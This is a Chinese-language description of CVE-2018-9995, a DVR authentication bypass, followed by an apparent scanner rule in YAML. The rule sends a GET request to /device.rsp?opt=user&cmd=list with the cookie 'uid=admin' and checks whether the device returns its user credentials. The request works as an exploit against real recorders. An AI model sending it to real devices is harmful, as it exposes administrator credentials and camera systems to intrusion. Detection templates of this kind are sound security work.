漏洞描述
DVR,全称为Digital Video Recorder(硬盘录像机),即数字视频录像机。最初由阿根廷研究员发现,通过使用“Cookie: uid = admin”的Cookie标头来访问特定DVR的控制面板,DVR将以明文形式响应设备的管理员凭证。
id: CVE-2018-9995
info:
name: DVR Authentication Bypass
author: cc_ci(https://github.com/cc8ci)
severity: critical
description: |
DVR,全称为Digital Video Recorder(硬盘录像机),即数字视频录像机。最初由阿根廷研究员发现,通过使用“Cookie: uid = admin”的Cookie标头来访问特定DVR的控制面板,DVR将以明文形式响应设备的管理员凭证。
reference:
- http://wiki.peiqi.tech/wiki/iot/DVR/DVR%20%E7%99%BB%E5%BD%95%E7%BB%95%E8%BF%87%E6%BC%8F%E6%B4%9E%20CVE-2018-9995.html
rules:
r0:
request:
method: GET
path: /device.rsp?opt=user&cmd=list
headers:
Cookie: uid=admin
follow_redirects: true
expression: response.status == 200 && response.body.bcontains(bytes("\"uid\":")) && response.body.bcontains(b'"playback":')
expression: r0()